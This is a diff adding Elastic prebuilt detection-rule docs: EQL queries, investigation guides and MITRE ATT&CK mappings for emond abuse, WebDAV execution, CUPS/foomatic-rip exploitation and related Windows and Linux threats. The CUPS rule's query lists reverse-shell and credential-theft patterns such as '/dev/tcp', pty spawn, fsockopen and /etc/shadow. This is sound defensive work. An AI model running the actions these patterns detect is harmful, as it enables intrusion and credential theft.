macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.parent.name == "emond" and + process.name like~ ( + "bash", + "dash", + "sh", + "tcsh", + "csh", + "zsh", + "ksh", + "fish", + "Python", + "python*", + "perl*", + "php*", + "osascript", + "pwsh", + "curl", + "wget", + "cp", + "mv", + "touch", + "echo", + "base64", + "launchctl") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Emond +** ID: T1546.014 +** Reference URL: https://attack.mitre.org/techniques/T1546/014/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: AppleScript +** ID: T1059.002 +** Reference URL: https://attack.mitre.org/techniques/T1059/002/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Emond +** ID: T1546.014 +** Reference URL: https://attack.mitre.org/techniques/T1546/014/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-endpoint-security-parent-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-endpoint-security-parent-process.asciidoc new file mode 100644 index 0000000000..fd963831bd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-endpoint-security-parent-process.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-20-suspicious-endpoint-security-parent-process]] +=== Suspicious Endpoint Security Parent Process + +A suspicious Endpoint Security parent process was detected. This may indicate a process hollowing or other form of code injection. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 320 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Endpoint Security Parent Process* + + +Endpoint security solutions, like Elastic and Microsoft Defender, monitor and protect systems by analyzing process behaviors. Adversaries may exploit these processes through techniques like process hollowing, where malicious code is injected into legitimate processes to evade detection. The detection rule identifies anomalies by flagging unexpected parent processes of security executables, excluding known benign paths and arguments, thus highlighting potential threats. + + +*Possible investigation steps* + + +- Review the process details for the flagged executable (e.g., esensor.exe or elastic-endpoint.exe) to understand its expected behavior and any recent changes in its configuration or deployment. +- Examine the parent process executable path and name to determine if it is a known legitimate process or potentially malicious. Pay special attention to paths not listed in the known benign paths, such as those outside "?:\Program Files\Elastic\*" or "?:\Windows\System32\*". +- Investigate the command-line arguments used by the parent process to identify any unusual or suspicious patterns that could indicate malicious activity, especially if they do not match the benign arguments like "test", "version", or "status". +- Check the historical activity of the parent process to see if it has been involved in other suspicious activities or if it has a history of spawning security-related processes. +- Correlate the alert with other security events or logs from data sources like Elastic Endgame, Microsoft Defender for Endpoint, or Sysmon to gather additional context and identify any related suspicious activities. +- Assess the risk and impact of the alert by considering the environment, the criticality of the affected systems, and any potential data exposure or operational disruption. + + +*False positive analysis* + + +- Security tools or scripts that automate tasks may trigger false positives if they launch endpoint security processes with unexpected parent processes. To manage this, identify and document these tools, then add their parent executable paths to the exclusion list. +- System administrators or IT personnel may use command-line tools like PowerShell or cmd.exe for legitimate maintenance tasks. If these tasks frequently trigger alerts, consider adding specific command-line arguments used in these tasks to the exclusion list. +- Software updates or installations might temporarily cause unexpected parent processes for security executables. Monitor these activities and, if they are routine and verified, add the associated parent executable paths to the exclusion list. +- Custom scripts or third-party applications that interact with security processes can also lead to false positives. Review these scripts or applications, and if they are deemed safe, include their parent executable paths in the exclusion list. +- Regularly review and update the exclusion list to ensure it reflects the current environment and operational practices, minimizing the risk of overlooking new legitimate processes. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of the potential threat and to contain any malicious activity. +- Terminate the suspicious process identified by the alert to stop any ongoing malicious activity and prevent further code execution. +- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise, such as unauthorized changes or additional malicious files. +- Restore the system from a known good backup if any malicious activity or unauthorized changes are confirmed, ensuring that the backup is clean and uncompromised. +- Update endpoint security solutions and apply any available patches to address vulnerabilities that may have been exploited by the adversary. +- Monitor the network and systems for any signs of re-infection or similar suspicious activities, using enhanced logging and alerting based on the identified threat indicators. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems may be affected. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : ("esensor.exe", "elastic-endpoint.exe") and + process.parent.executable != null and + process.args != null and + /* add FPs here */ + not process.parent.executable : ( + "?:\\Program Files\\Elastic\\*", + "?:\\Windows\\System32\\services.exe", + "?:\\Windows\\System32\\WerFault*.exe", + "?:\\Windows\\System32\\wermgr.exe", + "?:\\Windows\\explorer.exe" + ) and + not ( + process.parent.executable : ( + "?:\\Windows\\System32\\cmd.exe", + "?:\\Windows\\System32\\SecurityHealthHost.exe", + "?:\\Windows\\System32\\SecurityHealth\\*\\SecurityHealthHost.exe", + "?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + ) and + process.args : ( + "test", "version", + "top", "run", + "*help", "status", + "upgrade", "/launch", + "/enable", "/av" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Sub-technique: +** Name: Process Hollowing +** ID: T1055.012 +** Reference URL: https://attack.mitre.org/techniques/T1055/012/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-execution-from-a-mounted-device.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-execution-from-a-mounted-device.asciidoc new file mode 100644 index 0000000000..fe9a90c39b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-execution-from-a-mounted-device.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-20-suspicious-execution-from-a-mounted-device]] +=== Suspicious Execution from a Mounted Device + +Identifies when a script interpreter or signed binary is launched via a non-standard working directory. An attacker may use this technique to evade defenses. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/ +* https://www.volexity.com/blog/2021/05/27/suspected-apt29-operation-launches-election-fraud-themed-phishing-campaigns/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Execution from a Mounted Device* + + +In Windows environments, script interpreters and signed binaries are essential for executing legitimate tasks. However, adversaries can exploit these by launching them from non-standard directories, such as mounted devices, to bypass security measures. The detection rule identifies such anomalies by monitoring processes initiated from unexpected directories, especially when triggered by common parent processes like explorer.exe, thus flagging potential defense evasion attempts. + + +*Possible investigation steps* + + +- Review the process details to confirm the executable path and working directory, ensuring they match the criteria of being launched from a non-standard directory (e.g., not from "C:\\"). +- Investigate the parent process, explorer.exe, to determine if there are any unusual activities or user actions that might have triggered the suspicious execution. +- Check the user account associated with the process to verify if the activity aligns with their typical behavior or if the account might be compromised. +- Analyze the command line arguments used by the suspicious process to identify any potentially malicious scripts or commands being executed. +- Correlate the event with other security alerts or logs from the same host to identify any patterns or additional indicators of compromise. +- Examine the mounted device from which the process was executed to determine its origin, legitimacy, and any associated files that might be malicious. + + +*False positive analysis* + + +- Legitimate software installations or updates may trigger the rule if they are executed from a mounted device. Users can create exceptions for known software update processes that are verified as safe. +- Portable applications running from USB drives or external storage can be flagged. To mitigate this, users should whitelist specific applications that are frequently used and deemed non-threatening. +- IT administrative scripts executed from network shares or mounted drives for maintenance tasks might be detected. Users can exclude these scripts by specifying trusted network paths or script names. +- Development environments where scripts are tested from non-standard directories can cause alerts. Developers should ensure their working directories are recognized as safe or use designated development machines with adjusted monitoring rules. +- Backup or recovery operations that utilize mounted devices for script execution may be misidentified. Users should identify and exclude these operations by defining exceptions for known backup tools and processes. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes identified by the detection rule, such as those initiated by script interpreters or signed binaries from non-standard directories. +- Conduct a forensic analysis of the mounted device and the affected system to identify any malicious payloads or scripts and remove them. +- Review and restore any altered system configurations or registry settings to their original state to ensure system integrity. +- Update and patch the system to close any vulnerabilities that may have been exploited by the attacker. +- Monitor for any recurrence of similar activities by enhancing logging and alerting mechanisms, focusing on process execution from non-standard directories. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and process.executable : "C:\\*" and + ( + process.working_directory : ("D:\\*", "E:\\*", "F:\\*") or + ?process.Ext.device.product_id : ("Virtual DVD-ROM", "Virtual Disk") + ) and + process.parent.name : "explorer.exe" and + process.name : ( + "rundll32.exe", "mshta.exe", "powershell.exe", "pwsh.exe", "cmd.exe", "regsvr32.exe", "cscript.exe", + "wscript.exe", "certutil.exe", "bitsadmin.exe", "msiexec.exe", "wmic.exe", "schtasks.exe", "msbuild.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Trusted Developer Utilities Proxy Execution +** ID: T1127 +** Reference URL: https://attack.mitre.org/techniques/T1127/ +* Sub-technique: +** Name: MSBuild +** ID: T1127.001 +** Reference URL: https://attack.mitre.org/techniques/T1127/001/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Msiexec +** ID: T1218.007 +** Reference URL: https://attack.mitre.org/techniques/T1218/007/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-execution-from-a-webdav-share.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-execution-from-a-webdav-share.asciidoc new file mode 100644 index 0000000000..cba4dcf620 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-execution-from-a-webdav-share.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-20-suspicious-execution-from-a-webdav-share]] +=== Suspicious Execution from a WebDav Share + +Identifies attempt to execute Windows scripts from a remote WebDav Share. Adversaries may abuse this method to evade dropping malicious files to victim file system. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Execution from a WebDav Share* + + + +*Possible investigation steps* + + +- Check if the remote webdav server is autorized by the organization. +- Check all the downloaded files from the remote server and their content. +- Investigate the process execution chain (parent process tree) to identify the initial vector. +- Investigate other alerts associated with the user/host during the past 5 minutes. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Identify the target computer and its role in the IT environment. +- Investigate what commands were run, and assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Review the privileges assigned to the user to ensure that the least privilege principle is being followed. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : ("cmd.exe", "powershell.exe", "conhost.exe", "wscript.exe", "mshta.exe", "curl.exe", "msiexec.exe", "bitsadmin.exe", "net.exe") and + process.command_line : ("*trycloudflare.com*", "*@SSL\\*", "*\\webdav\\*", "*\\DavWWWRoot\\*", "*\\\\*.*@8080\\*", "*\\\\*.*@80\\*", "*\\\\*.*@8443\\*", "*\\\\*.*@443\\*") and + not (process.name : "cmd.exe" and process.args : "\\\\?\\UNC\\*.sharepoint.com@SSL\\DavWWWRoot\\*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ +* Technique: +** Name: Lateral Tool Transfer +** ID: T1570 +** Reference URL: https://attack.mitre.org/techniques/T1570/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-execution-from-foomatic-rip-or-cupsd-parent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-execution-from-foomatic-rip-or-cupsd-parent.asciidoc new file mode 100644 index 0000000000..ffb02eb6b2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-execution-from-foomatic-rip-or-cupsd-parent.asciidoc @@ -0,0 +1,237 @@ +[[prebuilt-rule-8-19-20-suspicious-execution-from-foomatic-rip-or-cupsd-parent]] +=== Suspicious Execution from Foomatic-rip or Cupsd Parent + +This detection rule addresses multiple vulnerabilities in the CUPS printing system, including CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, and CVE-2024-47177. Specifically, this rule detects suspicious process command lines executed by child processes of foomatic-rip and cupsd. These flaws impact components like cups-browsed, libcupsfilters, libppd, and foomatic-rip, allowing remote unauthenticated attackers to manipulate IPP URLs or inject malicious data through crafted UDP packets or network spoofing. This can result in arbitrary command execution when a print job is initiated. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/cups-overflow +* https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/ +* https://gist.github.com/stong/c8847ef27910ae344a7b5408d9840ee1 +* https://github.com/RickdeJager/cupshax/blob/main/cupshax.py + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Use Case: Vulnerability +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Execution from Foomatic-rip or Cupsd Parent* + + +This rule identifies potential exploitation attempts of several vulnerabilities in the CUPS printing system (CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177). These vulnerabilities allow attackers to send crafted IPP requests or manipulate UDP packets to execute arbitrary commands or modify printer configurations. Attackers can exploit these flaws to inject malicious data, leading to Remote Code Execution (RCE) on affected systems. + + +*Possible Investigation Steps* + + +- Investigate the incoming IPP requests or UDP packets targeting port 631. +- Examine the printer configurations on the system to determine if any unauthorized printers or URLs have been added. +- Investigate the process tree to check if any unexpected processes were triggered as a result of IPP activity. Review the executable files for legitimacy. +- Check for additional alerts related to the compromised system or user within the last 48 hours. +- Investigate network traffic logs for suspicious outbound connections to unrecognized domains or IP addresses. +- Check if any of the contacted domains or addresses are newly registered or have a suspicious reputation. +- Retrieve any scripts or executables dropped by the attack for further analysis in a private sandbox environment: +- Analyze potential malicious activity, including: + - Attempts to communicate with external servers. + - File access or creation of unauthorized executables. + - Cron jobs, services, or other persistence mechanisms. + + +*Related Rules* + +- Cupsd or Foomatic-rip Shell Execution - 476267ff-e44f-476e-99c1-04c78cb3769d +- Printer User (lp) Shell Execution - f86cd31c-5c7e-4481-99d7-6875a3e31309 +- Network Connection by Cups or Foomatic-rip Child - e80ee207-9505-49ab-8ca8-bc57d80e2cab +- File Creation by Cups or Foomatic-rip Child - b9b14be7-b7f4-4367-9934-81f07d2f63c4 + + +*False Positive Analysis* + + +- This activity is rarely legitimate. However, verify the context to rule out non-malicious printer configuration changes or legitimate IPP requests. + + +*Response and Remediation* + + +- Initiate the incident response process based on the triage outcome. +- Isolate the compromised host to prevent further exploitation. +- If the investigation confirms malicious activity, search the environment for additional compromised hosts. +- Implement network segmentation or restrictions to contain the attack. +- Stop suspicious processes or services tied to CUPS exploitation. +- Block identified Indicators of Compromise (IoCs), including IP addresses, domains, or hashes of involved files. +- Review compromised systems for backdoors, such as reverse shells or persistence mechanisms like cron jobs. +- Investigate potential credential exposure on compromised systems and reset passwords for any affected accounts. +- Restore the original printer configurations or uninstall unauthorized printer entries. +- Perform a thorough antimalware scan to identify any lingering threats or artifacts from the attack. +- Investigate how the attacker gained initial access and address any weaknesses to prevent future exploitation. +- Use insights from the incident to improve detection and response times in future incidents (MTTD and MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +process.parent.name in ("foomatic-rip", "cupsd") and process.command_line like ( + // persistence + "*cron*", "*/etc/rc.local*", "*/dev/tcp/*", "*/etc/init.d*", "*/etc/update-motd.d*", "*/etc/sudoers*", + "*/etc/profile*", "*autostart*", "*/etc/ssh*", "*/home/*/.ssh/*", "*/root/.ssh*", "*~/.ssh/*", "*udev*", + "*/etc/shadow*", "*/etc/passwd*", + + // Downloads + "*curl*", "*wget*", + + // encoding and decoding + "*base64 *", "*base32 *", "*xxd *", "*openssl*", + + // reverse connections + "*GS_ARGS=*", "*/dev/tcp*", "*/dev/udp/*", "*import*pty*spawn*", "*import*subprocess*call*", "*TCPSocket.new*", + "*TCPSocket.open*", "*io.popen*", "*os.execute*", "*fsockopen*", "*disown*", "*nohup*", + + // SO loads + "*openssl*-engine*.so*", "*cdll.LoadLibrary*.so*", "*ruby*-e**Fiddle.dlopen*.so*", "*Fiddle.dlopen*.so*", + "*cdll.LoadLibrary*.so*", + + // misc. suspicious command lines + "*/etc/ld.so*", "*/dev/shm/*", "*/var/tmp*", "*echo*", "*>>*", "*|*" +) and not process.args like "gs*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Shared Modules +** ID: T1129 +** Reference URL: https://attack.mitre.org/techniques/T1129/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: /etc/passwd and /etc/shadow +** ID: T1003.008 +** Reference URL: https://attack.mitre.org/techniques/T1003/008/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Cron +** ID: T1053.003 +** Reference URL: https://attack.mitre.org/techniques/T1053/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-execution-from-inet-cache.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-execution-from-inet-cache.asciidoc new file mode 100644 index 0000000000..e243e13b3f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-execution-from-inet-cache.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-20-suspicious-execution-from-inet-cache]] +=== Suspicious Execution from INET Cache + +Identifies the execution of a process with arguments pointing to the INetCache Folder. Adversaries may deliver malicious content via WININET during initial access. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.trendmicro.com/en_us/research/24/b/cve202421412-water-hydra-targets-traders-with-windows-defender-s.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Command and Control +* 